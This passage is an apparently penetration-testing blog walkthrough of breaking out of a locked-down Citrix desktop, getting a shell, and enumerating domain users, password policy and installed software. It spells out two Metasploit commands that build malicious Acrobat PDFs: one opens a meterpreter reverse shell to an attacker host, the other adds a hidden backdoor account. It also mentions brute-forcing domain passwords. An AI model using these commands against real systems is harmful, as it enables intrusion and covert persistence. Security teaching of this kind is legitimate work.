I see the Folders option has been left available.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/ScyYlN5aOHI/AAAAAAAABFg/lCSMUdijhU4/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 275px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/ScyYlN5aOHI/AAAAAAAABFg/lCSMUdijhU4/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317793025170749554" border="0" /&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;And this allows me to go on to browse a list of available hosts on the network.&lt;span style=""&gt;  &lt;/span&gt;What use is that you say?&lt;span style=""&gt;  &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Well it gives me potential targets which may come in handy in later phases of my attack.&lt;span style=""&gt;  &lt;/span&gt;Also if I start to see computers called Test-Server or Dev-Server I might want to take a closer look at them in particular.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/ScyY1UROwWI/AAAAAAAABFo/DccRp6tYBkc/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 274px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/ScyY1UROwWI/AAAAAAAABFo/DccRp6tYBkc/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317793301759181154" border="0" /&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;I also see that the Print menu option has been left available.&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/ScyZFS0IhRI/AAAAAAAABFw/fAsILHS183w/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 292px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/ScyZFS0IhRI/AAAAAAAABFw/fAsILHS183w/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317793576246609170" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/ScyY1UROwWI/AAAAAAAABFo/DccRp6tYBkc/s1600-h/screenshot.png"&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Again, because this hasn’t been restricted I can use this&lt;span style=""&gt;  &lt;/span&gt;to my advantage.&lt;span style=""&gt;  &lt;/span&gt;Even though the admin has removed the help from the menus in Notepad and I.E lucky for me Microsoft provide plenty of links to help elsewhere in the OS.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/ScyZhIv_YII/AAAAAAAABGA/ZyJTNQRoiUs/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 311px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/ScyZhIv_YII/AAAAAAAABGA/ZyJTNQRoiUs/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317794054581215362" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/ScyZFS0IhRI/AAAAAAAABFw/fAsILHS183w/s1600-h/screenshot.png"&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;And again I can use links in the help pages to get back to a page which does give me the address bar that I want.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/ScyZUMHmlXI/AAAAAAAABF4/mEE7lmcSVLM/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 315px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/ScyZUMHmlXI/AAAAAAAABF4/mEE7lmcSVLM/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317793832147260786" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/ScyZhIv_YII/AAAAAAAABGA/ZyJTNQRoiUs/s1600-h/screenshot.png"&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;And if I can browse out from there I can get to my tools.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/ScyaRJ_YBlI/AAAAAAAABGI/xEZFWuZ7gxo/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 311px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/ScyaRJ_YBlI/AAAAAAAABGI/xEZFWuZ7gxo/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317794879547901522" border="0" /&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;But what tools do I really need? Well at the moment I should really find out a little more about the network so when I do download the tools I get just the ones I need to make my job of erasing tracks that little bit easier.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Even though the admin has taken away all the drive mappings as long as I can find somewhere writable I can easily create a batch file to launch a command shell with notepad.&lt;span style=""&gt;  &lt;/span&gt;Once I have my shell things get even more interesting.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/Scyaq_KYvNI/AAAAAAAABGQ/AfdfXI2Q_ZM/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 310px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/Scyaq_KYvNI/AAAAAAAABGQ/AfdfXI2Q_ZM/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317795323317894354" border="0" /&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;And because I can browse about a bit easier I can run my batch file and launch the shell.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/ScybhTRhYMI/AAAAAAAABGg/usDJbLZmSHw/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 312px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/ScybhTRhYMI/AAAAAAAABGg/usDJbLZmSHw/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317796256429465794" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/Scyaq_KYvNI/AAAAAAAABGQ/AfdfXI2Q_ZM/s1600-h/screenshot.png"&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Oh that’s handy, using the net command I can see how I need to tailor any brute-force attempts to avoid locking out accounts. As we have seen, so far I have been able to look at a list of available computers and the password policy.&lt;span style=""&gt;  &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;I could use “net user /domain &gt;userlist.txt ” to get myself a list of accounts on the domain.&lt;span style=""&gt;  &lt;/span&gt;I know that I can run commands from the command line and create and execute batch files so from there I can write a simple FOR loop to bring a little password brute-forcing to the party. But for now let’s not get carried away and carry on with our Citrix fun.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;So I have a list of users, computers, security settings, what would be nice would be software versions.&lt;span style=""&gt;  &lt;/span&gt;Well I can easily see what the Notepad and I.E versions are. From my handy shell I can even use the “SystemInfo” command to see what hotfixes are applied.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/Scyb2FkVg4I/AAAAAAAABGo/fXW3A9oRtGU/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 200px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/Scyb2FkVg4I/AAAAAAAABGo/fXW3A9oRtGU/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317796613527536514" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/Scya6CnulvI/AAAAAAAABGY/4zCO388zU18/s1600-h/screenshot.png"&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;The thing is, because this server is in a particular hostile environment it “should” be patched to the hilt. What would be nice would be to see what third-party software is installed.&lt;span style=""&gt;  &lt;/span&gt;Of course we can’t browse the C: drive through windows, but we can through DOS.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;And what do we have here?&lt;span style=""&gt;  &lt;/span&gt;Adobe Acrobat Reader.&lt;span style=""&gt;  &lt;/span&gt;Even though it’s been removed from my menus I can launch it through the shell and check it’s version.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/ScycGrb4l_I/AAAAAAAABGw/CV6MWxMugTQ/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 311px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/ScycGrb4l_I/AAAAAAAABGw/CV6MWxMugTQ/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317796898570541042" border="0" /&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Oh look at that.&lt;span style=""&gt;  &lt;/span&gt;Version 8.1.2.&lt;span style=""&gt;  &lt;/span&gt;I have a little Metasploit goodness for that.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Maybe I could create a pdf that will connect back to a listener and give you a meterpreter session which will use the citrix host as a pivot point to through exploits at the softer targets:&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(51, 255, 51);" class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;./msfcli exploit/windows/fileformat/adobe_utilprintf filename=SiteDirections.pdf payload=windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=6666 E&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Or knowing that it’s likely that the version of Acrobat is the same elsewhere in the organisation, tailor a pdf to create an account on this or another system. And give it an enticing name that most (male) sys admins will struggle to ignore.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="color: rgb(51, 255, 51);" class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;./msfcli exploit/windows/fileformat/adobe_utilprintf filename=BritneyDoesParis.pdf payload=windows/adduser user=System-Backup pass=Password123 E&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Anyway, there I am going of topic again, back to my remote desktop.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Assuming that we don’t find a vulnerable third party apps, what else can I do from this restricted user locked down to the hilt desktop?&lt;span style=""&gt;  &lt;/span&gt;Well we all know how useful MMC’s are, from the printing help menu that I got to earlier I can search for one and what do you know?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/Scycqp55iyI/AAAAAAAABG4/12Q4BiT0Rzs/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 339px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/Scycqp55iyI/AAAAAAAABG4/12Q4BiT0Rzs/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317797516634852130" border="0" /&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Lunch the MMC from the handy shortcut that’s provided, add a few snap-ins here and there and my restricted user Bob is starting to feel a little more comfortable in his “locked down” desktop.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/Scyc90IPehI/AAAAAAAABHA/6xJlSdDJ5vo/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 310px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/Scyc90IPehI/AAAAAAAABHA/6xJlSdDJ5vo/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317797845796878866" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Not many admins would be comfortable with restricted users having access to this level of information I imagine.&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;Speaking of desktops…&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/ScydcY7f8GI/AAAAAAAABHI/XdCPoaVVj44/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 311px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/ScydcY7f8GI/AAAAAAAABHI/XdCPoaVVj44/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317798371071619170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;oh my......&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/Scyd1-OpKMI/AAAAAAAABHQ/rddET-uqmEU/s1600-h/screenshot.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 308px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/Scyd1-OpKMI/AAAAAAAABHQ/rddET-uqmEU/s400/screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5317798810580756674" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;The possibilities are endless.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-family:Arial;"&gt;So that’s all for this post.&lt;span style=""&gt;   &lt;/span&gt;I just want to finish
